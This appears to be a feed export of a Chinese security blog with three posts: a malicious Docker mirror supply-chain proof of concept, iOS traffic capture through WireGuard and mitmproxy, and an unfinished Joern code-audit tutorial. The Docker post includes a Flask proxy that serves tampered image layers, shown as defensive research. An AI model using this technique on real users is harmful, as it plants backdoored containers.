Security - 分类 - 有价值炮灰 https://evilpan.com/categories/security/ Security - 分类 - 有价值炮灰 Hugo -- gohugo.iozh-CNi@pppan.net (evilpan) i@pppan.net (evilpan)This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.Sun, 30 Nov 2025 12:40:00 +0800 Dockerhub 镜像供应链攻击风险研究 https://evilpan.com/2025/11/30/docker-mirror-attack/ Sun, 30 Nov 2025 12:40:00 +0800 evilpan https://evilpan.com/2025/11/30/docker-mirror-attack/ 一年多前，由于不知名的原因，国内访问 DockerHub（准确来说是 Docker Registry）被拦截，导致广大开发者在拉镜像的时候出现了莫名其妙的错误：

$ docker pull hello-world
Using default tag: latest
Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

其实封禁的第一时间我也看到了相关的新闻，只不过当时以为是特殊时期，没想到一转眼就是一年半：

news

故事由此展开。

Workaround

不能用就不用了吗？当然不可能，程序员还得继续上班。老板才不管你这那的，总之容器还是得起来。于是就有了各种各样的 “教学” 文章。比如：

简单来说，就是两种方法：

  1. 使用代理
  2. 使用镜像站

这里只做一个简单的总结。

首先是使用代理的方式。docker 因为是 C-S 架构，实际负责工作的组件是后台进程 dockerd。我们前台调用的 docker 命令行工具作用仅仅是连接 docker.sock 然后按照协议给后台进程去发起请求并接受返回。因此给前台程序设置 HTTP_PROXY 等环境变量是没用的，同理使用 proxychains 等工具亦然。

因此要挂代理，就必须针对后台进程。对于 docker daemon 而言，设置代理同样只需要设置好环境变量。以 Linux 系统 systemctl 启动的后台进程为例：

直接编辑 /etc/systemd/system/docker.service.d/your-proxy.conf，写入以下内容：

[Service]
Environment="HTTP_PROXY=http://127.0.0.1:8080"
Environment="HTTPS_PROXY=http://127.0.0.1:8080"
Environment="NO_PROXY=localhost,127.0.0.1"

conf 文件的名字不重要，只要在 docker.service.d 目录下即可。上面的配置表示添加三个环境变量，懂的都懂。

配置完后需要重启一下后台进程：

sudo systemctl daemon-reload
sudo systemctl restart docker

然后验证一下修改是否生效：

sudo systemctl show --property=Environment docker

另外一种方法，就是使用所谓的镜像站。还是以 Linux systemctl 为例，要给 docker daemon 后台进程指定使用镜像，需要修改配置文件 /etc/docker/daemon.json 写入 registry-mirrors 属性，比如：

{
    "registry-mirrors": [
        "https://docker.1ms.run",
        "https://docker.xuanyuan.me"
    ]
}

保存之后同样重启后台进程即可：

sudo systemctl daemon-reload
sudo systemctl restart docker

热情的中国开发者们创建并分享了各种各样的镜像站，比如:

通常用户会随便选几个站直接粘贴到自己的配置文件中即可正常使用，当然我也是这样。

可每次用镜像站的时候我都在想，这些站点是否安全，如果站长故意作恶的话会不会把我给 RCE 了？也许有点杞人忧天，但是毕竟 “Only the Paranoid Survive”，我觉得深入想想也没什么不好。

攻击面分析

终于来到了本文的正题。其实问题很简单：假如我是一个恶意的镜像站，是否能够给用我的人植入木马，如何操作？

为了回答这个问题，需要先知道 docker pull 的时候发生了什么。根据前面的介绍，先给 docker 后台进程挂个代理进行抓包，看到有以下请求：

flow

首先请求了 auth.docker.io 进行匿名登陆，后续下载镜像的请求都是发往 registry-1.docker.io；这里先验证下这个地址是不是真的被封禁了，不能人云亦云冤枉好人吧。

test

Oops！美丽的中国红🇨🇳！（叠甲：本人并没有说不红的地方不是中国）

接着，来看看每个请求：

  1. GET registry-1.docker.io/v2/
  2. GET auth.docker.io/token
  3. HEAD registry-1.docker.io/v2/library/hello-world/manifests/latest
  4. GET registry-1.docker.io/v2/library/hello-world/manifests/sha256:f7931603f70e13dbd844253370742c4fc4202d290c80442b2e68706d8f33ce
  5. GET registry-1.docker.io/v2/library/hello-world/manifests/sha256:2771e37a12b7bcb2902456ecf3f29bf9ee11ec348e66e8eb322d9780ad7fc2
  6. GET registry-1.docker.io/v2/library/hello-world/blobs/sha256:17eec7bbc9d79fa397ac95c7283ecd04d1fe6978516932a3db110c6206430809
    1. 302 重定向到 cloudflare (GET docker-images-prod.6aa30f8b08e16409b46e0173d6de2f56.r2.cloudflarestorage.com/)
  7. GET registry-1.docker.io/v2/library/hello-world/blobs/sha256:1b44b5a3e06a9aae883e7bf25e45c100be0bb81a0e01b32de604f3ac44711634
    1. 302 重定向到 cloudflare (同 6.1)

第 1 步返回的是 401 Unauthorized，估计是用来校验 DockerHub 账户登陆的。因为我们没登陆，所以第 2 步就直接进行了匿名登陆，返回了 2 个 JWT Token，对于本文的主题而言也不是很需要关心。

接着是第 3 步，获取 manifest，这是个 HEAD 请求，照理来说是不返回内容的，但实际上会在返回的 Header 里带上 manifest 的 hash：

200 OK
Date: Sat, 29 Nov 2025 07:42:22 GMT
Content-Type: application/vnd.oci.image.index.v1+json
Content-Length: 12341
Connection: close
docker-content-digest: sha256:f7931603f70e13dbd844253370742c4fc4202d290c80442b2e68706d8f33ce26
docker-distribution-api-versio  registry/2.0
...

因为 latest 只是个 tag 名字，实际拉取文件还是要根据 sha256 来获取。第 4 步真正获取 latest 对应的 manifest。这是一个 JSON 文件：

{
  "manifests": [
    {
      "annotations": {
        "com.docker.official-images.bashbrew.arch": "amd64",
        "org.opencontainers.image.base.name": "scratch",
        "org.opencontainers.image.created": "2025-08-13T22:16:57Z",
        "org.opencontainers.image.revision": "6930d60e10e81283a57be3ee3a2b5ca328a40304",
        "org.opencontainers.image.source": "https://github.com/docker-library/hello-world.git#6930d60e10e81283a57be3ee3a2b5ca328a40304:amd64/hello-world",
        "org.opencontainers.image.url": "https://hub.docker.com/_/hello-world",
        "org.opencontainers.image.version": "linux"
      },
      "digest": "sha256:2771e37a12b7bcb2902456ecf3f29bf9ee11ec348e66e8eb322d9780ad7fc2df",
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      },
      "size": 1035
    },
    {
      "annotations": {
        "com.docker.official-images.bashbrew.arch": "amd64",
        "vnd.docker.reference.digest": "sha256:2771e37a12b7bcb2902456ecf3f29bf9ee11ec348e66e8eb322d9780ad7fc2df",
        "vnd.docker.reference.type": "attestation-manifest"
      },
      "digest": "sha256:6b75187531c5e9b6a85c8946d5d82e4ef3801e051fbff338f382f3edfa60e3d2",
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "platform": {
        "architecture": "unknown",
        "os": "unknown"
      },
      "size": 566
    },
    // ...
    ],
	"mediaType": "application/vnd.oci.image.index.v1+json",
	"schemaVersion": 2
}

整个 JSON 文件是 OCI Image Index（开放容器倡议镜像索引）格式，其中 manifests 是一个数组，数组中的每个对象都描述了一个实际的镜像清单（Image Manifest）。这里只截取了其中两个。

第一个对象描述了 amd64/linux 架构的镜像，包含 cpu 和操作系统信息，以及镜像的摘要；第二个对象则是一个特殊的描述符，它引用了一个证明（Attestation）清单，可以理解为元数据信息。

docker 客户端会根据自身平台在 manifests 数组中找到与其平台匹配的描述符，然后下载对应镜像。

比如，笔者测试的系统是 amd64/linux，那么就对应第一个 Manifest 对象，其 sha256 哈希为 2771e...，在前面的请求分析中正对应第 5 个请求。该请求同样返回一个 JSON：

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.manifest.v1+json",
  "config": {
    "mediaType": "application/vnd.oci.image.config.v1+json",
    "digest": "sha256:1b44b5a3e06a9aae883e7bf25e45c100be0bb81a0e01b32de604f3ac44711634",
    "size": 547
  },
  "layers": [
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "digest": "sha256:17eec7bbc9d79fa397ac95c7283ecd04d1fe6978516932a3db110c6206430809",
      "size": 2380
    }
  ],
  "annotations": {
    "com.docker.official-images.bashbrew.arch": "amd64",
    "org.opencontainers.image.base.name": "scratch",
    "org.opencontainers.image.created": "2025-08-08T19:05:17Z",
    "org.opencontainers.image.revision": "6930d60e10e81283a57be3ee3a2b5ca328a40304",
    "org.opencontainers.image.source": "https://github.com/docker-library/hello-world.git#6930d60e10e81283a57be3ee3a2b5ca328a40304:amd64/hello-world",
    "org.opencontainers.image.url": "https://hub.docker.com/_/hello-world",
    "org.opencontainers.image.version": "linux"
  }
}

这同样是一个镜像清单，用于描述如何组装一个特定的容器镜像。容器获得了这个 manifest 后，下一步就是根据 sha256 哈希去下载实际的镜像，对应前文中的：

  • 第 6 步（17ee）：下载 layers 第一层内容；
  • 第 7 步 （1b44）：下载 config 的内容；

cofig 信息是以下 JSON 内容：

{
  "architecture": "amd64",
  "config": {
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/hello"
    ],
    "WorkingDir": "/"
  },
  "created": "2025-08-08T19:05:17Z",
  "history": [
    {
      "created": "2025-08-08T19:05:17Z",
      "created_by": "COPY hello / # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2025-08-08T19:05:17Z",
      "created_by": "CMD [\"/hello\"]",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:53d204b3dc5ddbc129df4ce71996b8168711e211274c785de5e0d4eb68ec3851"
    ]
  }
}

而 layer 则是一个压缩包，我们在下节对其进行详细分析。

至此，网络侧的请求流程基本上分析清楚了。当然本文只是涉及了观察到的请求，实际 Pull 流程的完整接口介绍可以参考下面的文档：

查看下载的 layer 内容之前，我们先学习一下 Docker Image 的组成和格式。Docker 镜像是一个增量文件系统，由一个或者多个层级（Layer）构成。现代容器镜像是基于内容可寻址存储（Content-Addressable Storage）的原则设计的。这意味着一旦一个层或配置对象被创建，它的内容就永远不会改变。对镜像的任何修改都会生成一个新的层和/或一个新的配置对象，从而产生一个新的摘要。

每个层文件本质上是一个 差异归档（Diff Archive），它包含了相对于其前一个层的文件系统变化。

当 Docker 或 OCI 运行时（如 containerd）处理一个镜像时，会按顺序执行以下操作：

  1. 将第一个层的内容解压并应用到初始的空文件系统（基础镜像是 scratch）。
  2. 将每个后续层的内容叠加（Overlay）到前一层之上。
  3. 最终整个容器的文件系统是所有层内容自底向上合并的结果。

这就是为什么我们平时在构建 Dockerfile 的时候，前面 RUN apt update && apt install 之后再接着 RUN apt clean 并不会减少容器体积，因为每个 RUN 命令都生成了一个新的 Layer。

准确来说，RUN rm -f file 时，当前层会创建一个特殊的空文件（whiteout 文件），通常以 .wh. 开头（例如 .wh.filename），当文件系统合并时，这个文件会遮盖下面层中同名的文件或目录，对于容器用户而言，下面的文件看起来就像是被删除了。

接着来看我们前面抓包获得的 layer 文件，下载查看后发现是 tar.gz 格式，解压后是一个静态链接的 ELF 文件：

$ file layer.tgz
part.tgz: gzip compressed data, original size modulo 2^32 11776

$ tar -xzvf layer.tgz
hello

$ file hello
hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

docker 怎么知道应该把这个文件放到哪里呢？其实很简单，不是根据 config.json，而是根据其在 layer.tgz 中的相对位置确定。

既然每个 Layer 只是文件系统的差异归档，那作为攻击者，是否可以通过修改 Layer 内容，或者新增 Layer 的方式植入恶意代码呢？直觉来看是可以的，本节来进行实际的攻击测试。

首先作为一个恶意的镜像提供商，我需要先写一个镜像站来转发和缓存 docker registry 里的所有镜像，不过这估计需要大量的磁盘空间，我的轻量云估计放不下。回头看一下抓包的内容，既然原始的请求都有 302 重定向，那我直接转发到别的镜像站不就行了？

先用 Flask 整一个简单的中间商镜像站：

@app.route('/<path:path>')
def catch_all(path):
    target_url = f"https://docker.1ms.run/{path}"
    return redirect(target_url, code=302)

测试替换镜像源并 pull 一下 hello-world，客户端成功拉取了镜像，查看服务器日志也没问题：

127.0.0.1 - - [29/Nov/2025 20:35:47] "GET /v2/ HTTP/1.1" 302 -
127.0.0.1 - - [29/Nov/2025 20:35:47] "HEAD /v2/library/hello-world/manifests/latest HTTP/1.1" 302 -
127.0.0.1 - - [29/Nov/2025 20:36:08] "GET /v2/library/hello-world/manifests/sha256:f7931603f70e13dbd844253370742c4fc4202d290c80442b2e68706d8f33ce26 HTTP/1.1" 302 -
127.0.0.1 - - [29/Nov/2025 20:36:09] "GET /v2/library/hello-world/manifests/sha256:2771e37a12b7bcb2902456ecf3f29bf9ee11ec348e66e8eb322d9780ad7fc2df HTTP/1.1" 302 -
127.0.0.1 - - [29/Nov/2025 20:36:09] "GET /v2/library/hello-world/blobs/sha256:1b44b5a3e06a9aae883e7bf25e45c100be0bb81a0e01b32de604f3ac44711634 HTTP/1.1" 302 -
127.0.0.1 - - [29/Nov/2025 20:36:09] "GET /v2/library/hello-world/blobs/sha256:17eec7bbc9d79fa397ac95c7283ecd04d1fe6978516932a3db110c6206430809 HTTP/1.1" 302 -

接下来考虑怎么给他加点料。一个直接的想法是把 Layer 整个替换掉，鉴于这是一个包含 ELF 的 tar.gz 文件，感觉还是比较简单的。

首先静态编译一个简单的 hello-world，然后压缩替换原始的文件：

$ gcc -static main.c -o hello
$ ./hello
You are hacked, bro!
$ tar -czvf layer.tar.gz hello

然后设置 flask 针对 part.tar.gz 返回我们修改后的文件：

if path.startswith('v2/library/hello-world/blobs/sha256:17eec'):
	return send_file('layer.tar.gz')

直接测试一下试试，理论上应该签名校验失败：

$ docker run --rm hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
17eec7bbc9d7: Verifying Checksum
docker: Get "https://registry-1.docker.io/v2/": dial tcp 4.78.139.50:443: connect: connection refused.
See 'docker run --help'.

和预期中的一样，毕竟哈希都对不上。接下来我们看看还要修改哪些文件，从下往上看：

  • layer.tar.gz 内容变化，导致其 sha256 变化，因此需要修改 digest.json 中的哈希(请求 5)；
  • digest.json 内容变化，因此需要修改 manifest.json(请求 4)；
  • manifest.json 内容变化，需要修改 HEAD latest 的返回头(请求 3)；
  • …

依次把对应的 sha256 修改完后，发现无法启动。调试了半天不得其解，最后发现是 digest.json 中除了 layer 的哈希，还要修改 diff_id。这个 diff_id 是对一个镜像层内容的 未压缩 文件系统差异计算出的唯一标识符，具体计算过程比较复杂，我们直接参考 docker 用 golang 来实现即可：

layer, err := tarball.LayerFromOpener(func() (io.ReadCloser, error) {
return os.Open(filePath)
})
if err != nil {
panic(fmt.Errorf("error creating layer from opener: %w", err))
}
diffID, err := layer.DiffID()

另外这里介绍一下 docker 的调试方法，首先在 /etc/docker/daemon.json 文件中加入 "log-level": "debug" 字段，然后重启后台进程，使用下面的命令就可以查看详细日志了：

sudo journalctl -u docker.service -f

最终实现效果：

$ docker run --rm hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
cf02c551b988: Pull complete
Digest: sha256:6eb1bf5e044ede4cad2267ce2d15d306c5f6e6351e790ac36c7d99ce1418b7e2
Status: Downloaded newer image for hello-world:latest
You are hacked, bro!

这个攻击实验过程中涉及到的代码我都放在了 Github 中，感兴趣的可以参考。

防御方案

对于这类攻击，Docker 官方给出的方案是使用 Docker Content Trust (DCT) ，即在运行前加上 DOCKER_CONTENT_TRUST 环境变量，这样在执行 docker pull 请求后会自动在后台执行验证。

不过这种方案一方面基于过时的 Notary v1 技术，目前已被 Docker 官方弃用和淘汰；另一方面则是不属于默认安全，很少有用户会手动指定。而且，即使你指定了，在国内也可能会遇到网络错误：

$ DOCKER_CONTENT_TRUST=1 docker run --rm hello-world
docker: Error: error contacting notary server: dial tcp 208.43.170.231:443: i/o timeout.
See 'docker run --help'.

作为新的替代验证方案，比如 Sigstore 或者 Notation，使用起来更为繁琐。镜像作者需要配置好公钥，而使用方则需要先验证（如 cosign verify）、后拉取，普及起来依旧任重道远。

Whom To Blame？

假设，不久后的某天，一个别有用心的黑客（比如银狐的大哥），基于这个中间人攻击的原理，部署了一大群恶意的“镜像站”，并且通过 SEO 的方式广泛传播。然后，某萌新运维在运行 docker 失败后上百度搜索了 “docker pull 失败怎么办” 发现第一条正好是设置镜像源的教程，而其中的 10 条镜像源有 8 条都是恶意的。最终通过镜像站下载了一个有后门的 mysql/nginx，导致了入侵事件的发生。那么，这个安全事故主要应该让谁背锅呢？

单选题：

  • A. 实施攻击的银狐大哥
  • B. 复制粘贴的萌新运维
  • C. 分享技术的吃瓜博主
  • D. 矫枉过正的有关部门
  • E. 竞价排名的某度搜索

对此，你怎么看？请在评论区留言吧！（逃

参考链接

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2025/11/30/docker-mirror-attack/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]> 在非越狱 iOS 上实现全流量抓包 https://evilpan.com/2024/09/22/ios-netcap/ Sun, 22 Sep 2024 14:40:00 +0800 evilpan https://evilpan.com/2024/09/22/ios-netcap/

昨晚在测试一个手机应用抓包的时候发现使用 WiFi 的 HTTP 代理无法抓到包，并且在 Burp 的日志中没有看到任何 SSL Alert，因此可以判断不是证书问题；另外虽然没有抓到包但是应用依然可以正常收发数据，这说明代理的配置被绕过了。

应用开发者要想绕过用户端的代理配置有很多办法，这种情况在笔者之前的博文中已经介绍过不少了，比如：

但是这次的情况有点不一样。首先笔者常用的用于近源钓鱼的 WiFi 热点工具没有带回家，其次手头上没有 Andorid 手机只有一个 iPhone，且手机由于日常使用并没有越狱(属于是强行给自己上强度了)。

初步尝试

在现有条件下，还是先尝试了正常的抓包方案，使用 Burpsuite 启动代理并在手机端安装好证书，正常抓包发现没有问题。但是正如前面所说，在使用目标应用时发现在一些关键流量上并没有展现，由此判断是应用代码中特意忽略了系统代理配置。

这种情况下一般需要尝试透明代理或者 VPN 抓包方案，我们先考虑后者。在 iOS 中我们有 shadowsxxksR、Surge 等应用，不过都要收费，而且这些软件主要还是用于非 MITM 场景的代理。

在互联网上检索一番发现有个叫 Stream 的免费软件，基于 iOS 9+ 的 Network Extension Api 进行 HTTP/HTTPS 网络流量的劫持。虽然最近一次更新已经是 4 年前了，但现在基本功能还是可用的。

使用该工具点点点之后发现已经能抓到我们想要的请求包了。按理说，我们的任务已经完成了，但是，用别人现成的工具，你的价值体现在哪里？ 这件事为什么是你做不是别人做？ 当初招你进来的时候……

……开个玩笑。其实这个工具也有一些不是很完美的地方，比如抓包和改包只能在手机上点，不适合自动化； 还比如对于一些非 HTTP 流量其实也没有办法抓到。

因此我们接着看有没有其他更优雅的解决方案。

WireGuard

既然手法限制在了 VPN 抓包，那就不得不提 WireGuard 了。

WireGuard 是一种新型的 VPN（虚拟专用网络）协议和免费开源软件，通过 UDP 封装 IP 数据包，提供了一种既安全又高效的 VPN 解决方案。它适用于点对点连接、中心辐射型网络拓扑以及全网状网络拓扑。其设计哲学是简化 VPN 的配置和使用，同时不牺牲安全性和性能。

WireGuard 的安装和使用可以参考官网的文章：

WireGuard 的配置核心在于秘钥路由特性(Cryptokey Routing)。作为一个网络接口(eth0、wlan0、tun0)，会根据路由表进行实际传入和传出网络的分发。WireGuard 同样运行在网络接口层，只不过会在分发前进行网络包的加解密，并且使用 UDP 进行传输。

在 Linux 中新建网卡和设置路由表都可以通过 ip 命令操作，这里新建一个名为 wg0 的网络接口：

# 网卡配置
ip link add wg0 type wireguard
ip addr add 10.0.0.1/24 dev wg0
ip link set wg0 up

然后使用 wg 命令对该接口进行配置，包括设置私钥、端口和 peer 等信息。

# 生成公私钥
wg genkey > private
# 添加私钥
wg set wg0 private-key ./private
# 设置端口
wg set wg0 listen-port 51820
# 添加端点
wg set wg0 peer <peer-公钥> allowed-ips 192.168.88.0/24 endpoint 209.202.254.14:8172

# 可以组合成一句话
wg set wg0 listen-port 51820 private-key './private' peer 'ABCDEF...' allowed-ips '192.168.88.0/24' endpoint '209.202.254.14:8172'

这些配置何况使用配置文件的方式进行管理。

wg setconf wg0 ./config.ini

也可以不用手动创建网卡而是使用 wg-quick 脚本一键部署：

sudo wg-quick up config.ini

wg 和 wg-quick 都是 wireguard-tools 的一部分

以下面一个 Server 的配置为例：

[Interface]
PrivateKey = yAnz5TF+lXXJte14tji3zlMNq+hd2rYUIgJBgB3fBmk=
ListenPort = 51820

[Peer]
PublicKey = xTIBA5rboUvnH4htodjb6e697QjLERt1NAB4mZqp8Dg=
AllowedIPs = 10.192.122.3/32, 10.192.124.1/24

[Peer]
PublicKey = gN65BkIKy1eCE9pP1wdc8ROUtkHLF2PfAqYdyYBz6EA=
AllowedIPs = 10.10.10.230/32

其中 Interface 指定接口的私钥和监听端口，Peer 则指定了客户端的公钥和 IP 网段。用简化的说法，对于发送到子网 10.10.10.230/32 的请求，会使用该 Peer 的公钥进行加密；对于发送到本机接口的请求，则用本地私钥进行解密。

对应 Client 的配置如下：

[Interface]
PrivateKey = gI6EdUSYvn8ugXOt8QQD6Yc+JyiZxIhp3GInSWRfWGE=
ListenPort = 21841

[Peer]
PublicKey = HIgo9xNzJMWLKASShiTqIybxZ0U3wGLiUeJ1PKf8ykw=
Endpoint = 192.95.5.69:51820
AllowedIPs = 0.0.0.0/0

其中在 Interface 字段指定了本机的私钥，Peer 字段指定服务器的公钥和地址信息。前面用到 wg genkey 命令来生成私钥，同时也可以用 wg pubkey 查看对应私钥的公钥：

$ wg pubkey <<< gI6EdUSYvn8ugXOt8QQD6Yc+JyiZxIhp3GInSWRfWGE=
gN65BkIKy1eCE9pP1wdc8ROUtkHLF2PfAqYdyYBz6EA=
$ wg pubkey <<< yAnz5TF+lXXJte14tji3zlMNq+hd2rYUIgJBgB3fBmk=
HIgo9xNzJMWLKASShiTqIybxZ0U3wGLiUeJ1PKf8ykw=

可以看到客户端和服务端配置的一大区别是客户端配置指定的 Peer 包含 Endpoint 字段，指定服务器的地址和端口。

服务端上除了 WireGuard 本身的配置还要注意网卡的配置，一般情况下可能需要调整本机防火墙的策略，对于需要将虚拟网卡流量转发到实际网络接口上的场景还需要配置内核 IP 转发以及路由转发的规则，详情可参考：

我们可以在手机上使用 WireGuard 作为 VPN 客户端，同时在 PC 上运行 WireGuard 服务端即可以获取所有手机上的网络流量。不过这里有个问题是网卡收到的数据是加密的 UDP 数据，因此我们需要先将其解密还原成原始数据。

其实在 Wireshark 中已经支持了 WireGuard 流量解密的功能。在 Wireshark Edit -> Preferences -> Protocols -> WireGuard 中可以设置 static key 和 keylog 对加密的 UDP 流量进行解密。

这个解密过程和 SSL/TLS 的解密过程类似，其中需要 wireguard-tools 中的 extract-handshakes.sh 脚本来在获取 WireGuard 握手过程中的临时秘钥，该脚本基于 kprobe 来 hook 内核中 wireguard 驱动的相关代码来提取秘钥，因此只能用于 Linux 系统。

为什么即使有双方的 Peer 私钥也无法对会话进行解密？因为握手过程使用随机生成的临时公私钥对进行 Diffie-Hellman 密钥交换，以生成共享会话密钥。这些临时密钥不会被存储且仅用于当前会话，可以认为 Peer 私钥仅参与验证而不参与加密，因此也就无法解密流量。即便某一个会话的秘钥泄露也不会影响其他会话的保密性，这个就叫前向安全(Forward Security)。

不过话说回来，对于我们的抓包场景其实还不需要介入到解密过程，因为实际流量是进入到我们自己的机器上，然后才转发到实际的服务器，后者的流量是已经解密的。因此我们可以直接抓取网络网卡(如 eth0)其实也是能看到解密后的流量的。甚至我们可以直接抓取 Wireguard 网卡(如 wg0) 也能获得明文流量，从而实现了 “全流量抓包” 的愿景。

使用 WireGuard+Wireshark 我们已经实现了在 iOS 中抓取所有流量的目的，包括 UDP 和 TCP 的链接也包括 ICMP 等 IP 层数据。不过还是有一点点小瑕疵，其中获取到的 HTTPS 流量还是 TLS 加密的。

解决这个问题的方法也很多，一个最直接的方法是通过 iptables 将进入本机(server) 443 端口的 TCP 流量转发到其他透明 HTTP 代理端口，比如 Burpsuite 或者 Yakit，借助他们的 MITM 功能来实现 HTTPS 流量加解密和重放。

不过，既然都引入了三方抓包工具，其实有一个更为便捷的方案。那就是使用 MITMProxy，其在 9.0 版本之后引入了了一种新的透明代理模式，即 wireguard mode，使用方法非常简单，如下所示：

mitmproxy -m wireguard

其会自动生成一个 WireGuard 客户端配置文件，例如：

[Interface]
PrivateKey = mLorvtz8GDGUH+Qm+voV4wFg2r6yJFN/tCRq4fY/Rm8=
Address = 10.0.0.1/32
DNS = 10.0.0.53

[Peer]
PublicKey = lyZoK//28trI/gSaTTaxKEce4RlU2Sxx9VafyWlqR34=
AllowedIPs = 0.0.0.0/0
Endpoint = 192.168.31.21:51820

在手机上直接使用 WireGuard 导入该配置或者将其转为二维码扫描即可连入基于 MITMProxy 的 VPN，所有流量都会被 MITMProxy 进行劫持和转发，从而实现便捷的抓包。

值得一提的是在该模式下 MITMProxy 并不会真正地使用 WireGuard 内核模块，而是使用了其自身的应用层实现，mitmproxy-wireguard。所以观察网卡也不会看到 wg0 等虚拟接口。这样的好处是避免了系统的依赖性，同时功能也会有所裁剪，比如传统 VPN 的子网互通就无法实现。

mitmproxy-wireguard 用 Rust 编写，目前已经转移到了 mitmproxy_rs 仓库中，感兴趣的可以去查看其源码实现。

总结

本文探讨了几种在非越狱 iOS 手机上进行抓包的方案，除了使用如 Surge、Stream 等商业工具，还可以使用 WireGuard、Wireshark、MITMProxy 等开源工具实现最初的目标。在基于 WireGuard 的方案中，Wireshark 可以确保抓取所有流量不会有遗漏，在某些游戏应用中可能会遇到类似的自定义 TCP/UDP 数据流；而使用 MITMProxy 则可以方便地对 HTTPS 流量进行解密，同时基于应用层可以实现平台无关性。

与 Android 相比，如果只是日常抓包可能 iOS 会更方便一点。因为 Android 7 及其以后都默认不信任用户添加的根证书，想加证书抓包要么 root 要么重打包，相对门槛会高一些；而 iOS 还是一如既往的可以随意添加证书，对于日常使用偶尔抓包分析的场景倒是比较方便了。

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2024/09/22/ios-netcap/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]> 使用 Joern 进行漏洞挖掘 https://evilpan.com/2024/09/16/using-joern/ Mon, 16 Sep 2024 12:40:00 +0800 evilpan https://evilpan.com/2024/09/16/using-joern/ 曾几何时，在 代码安全审计之道 一文中介绍了一些形而上学的代码审计方法论，在该文章提及未来会继续介绍一些具体的漏洞挖掘工具和技巧，即代码安全审计之术。正所谓白驹过隙，光阴荏苒，不知不觉两年多过去了，由于怠惰一直没有动笔。不过我也一直没有忘记这茬，正好最近放假就给自己补上。

本文是使用开源的 Joern 来进行漏洞挖掘的介绍。

Joern 101

Joern 是一个开源的代码分析平台，可以通过多种不同的前端将源代码转换为代码属性图(Code Property Graph)，简称 CPG，然后通过 Joern 内置的查询语法对 CPG 进行查询和分析。如果读者对 CodeQL 比较了解的话，可以将 Joern 理解成开源版的 CodeQL。

Joern 通过不同的前端引擎支持不同的代码，比如使用 CDT 支持 C/C++ 代码的 fuzzing parsing，使用 Ghidra 支持二进制文件的解析，使用 Soot 支持 Java 字节码的解析等等。不同前端的成熟度有所不同，如下表所示：

Name Built with Maturity
C/C++ Eclipse CDT Very High
Java JavaParser Very High
JavaScript GraalVM High
Python JavaCC High
x86/x64 Ghidra High
JVM Bytecode Soot Medium
Kotlin IntelliJ PSI Medium
PHP PHP-Parser Medium
Go go.parser Medium
Ruby ANTLR Medium-Low
Swift SwiftSyntax Medium
C# Roslyn Medium-Low

joern-cli 是我们用来构建代码属性图和进行查找的套件，可以在 github 下载 release 版本的 joern-cli.zip，也可以通过自行编译的方式构建。

后续写复杂规则需要自动补全，以及需要搜索代码查看用例，因此推荐通过源代码方式编译：

git clone https://github.com/joernio/joern
cd joern
sbt stage

安装完成后可以进行实际测试，使用一个简单的 Java 文件 Hello.java 如下：

package demo;

import a.b.c.Foo;

public class Hello {
  static Foo foo = new Foo();

  public static void main(String[] args) {
    String data = foo.bar(args[0]);
    Runtime.exec(data);
  }
}

将该源码文件构建成代码属性图数据库(cpg)可以使用 joern-parse 脚本：

joern-parse --language javasrc Hello.java -o hello.cpg

有几个注意点：

  1. language 选择的是 javasrc 而不是 java，后者是 Soot 的前端；
  2. 可以使用 joern-parse --list-languages 列举所有支持的前端(语言)；
  3. Hello.java 中包含外部类 a.b.c.Foo，因此实际无法编译，但是却可以正确生成 cpg；

对该 cpg 进行查询：

joern hello.cpg
joern> cpg
val res0: io.shiftleft.codepropertygraph.generated.Cpg = Cpg[Graph[136 nodes]]
# ...
joern> def source = cpg.method("main").parameter
joern> def sink = cpg.call("exec").argument
joern> sink.reachableByFlows(source).p
val res7: List[String] = List(
  """
┌─────────────────┬──────────────────────────────┬────┬──────┬────┐
│nodeType         │tracked                       │line│method│file│
├─────────────────┼──────────────────────────────┼────┼──────┼────┤
│MethodParameterIn│main(String[] args)           │8   │main  │    │
│Call             │demo.Hello.foo.bar(args[0])   │9   │main  │    │
│Call             │demo.Hello.foo.bar(args[0])   │9   │main  │    │
│Call             │demo.Hello.foo.bar(args[0])   │9   │main  │    │
│Identifier       │String data = foo.bar(args[0])│9   │main  │    │
│Identifier       │Runtime.exec(data)            │10  │main  │    │
└─────────────────┴──────────────────────────────┴────┴──────┴────┘"""
)

核心的查询就三行，查找从 main 的参数到 Runtime.exec 的参数中的数据流链路：

def source = cpg.method("main").parameter
def sink = cpg.call("exec").argument
sink.reachableByFlows(source).p

其中 cpg 是我们的代码属性图根对象，针对代码的查找都基于此对象出发进行查询。上面的查询语句实际上是合法的 scala 语句，joern-cli 本身也是一个 scala 解释器。除了 cpg 对象，还定义了一些全局的对象和方法，可以使用 help 进行查看：

joern> help
val res8: Helper = Welcome to the interactive help system. Below you find
a table of all available top-level commands. To get
more detailed help on a specific command, just type

`help.<command>`.

Try `help.importCode` to begin with.
┌────────────────┬────────────────────────────────────────────────┬─────────────────────────┐
│command         │description                                     │example                  │
├────────────────┼────────────────────────────────────────────────┼─────────────────────────┤
│close           │Close project by name                           │close(projectName)       │
│cpg             │CPG of the active project                       │cpg.method.l             │
│delete          │Close and remove project from disk              │delete(projectName)      │
│exit            │Exit the REPL                                   │                         │
